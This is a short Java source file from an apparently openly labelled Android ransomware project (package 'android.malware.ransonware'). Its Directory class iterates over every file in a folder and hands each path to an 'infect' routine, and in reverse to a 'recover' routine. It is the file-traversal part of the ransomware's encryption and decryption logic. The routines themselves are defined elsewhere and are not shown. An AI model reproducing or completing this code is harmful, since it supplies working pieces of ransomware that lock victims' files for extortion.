package android.malware.ransonware.routine.infection;

import java.io.File;

import android.malware.ransonware.routine.RoutineInfect;
import android.malware.ransonware.routine.RoutineRecover;


public class Directory extends Node {

	public Directory(File file, boolean r) {
		super(file, r);
	}

	@Override
	public void infected(File file) {
		for (File f : file.listFiles())
			RoutineInfect.FactoryInfect(f.getAbsolutePath());
	}

	@Override
	public void recovered(File file) {
		for (File f : file.listFiles())
			RoutineRecover.FactoryRecover(f.getAbsolutePath());
	}
}
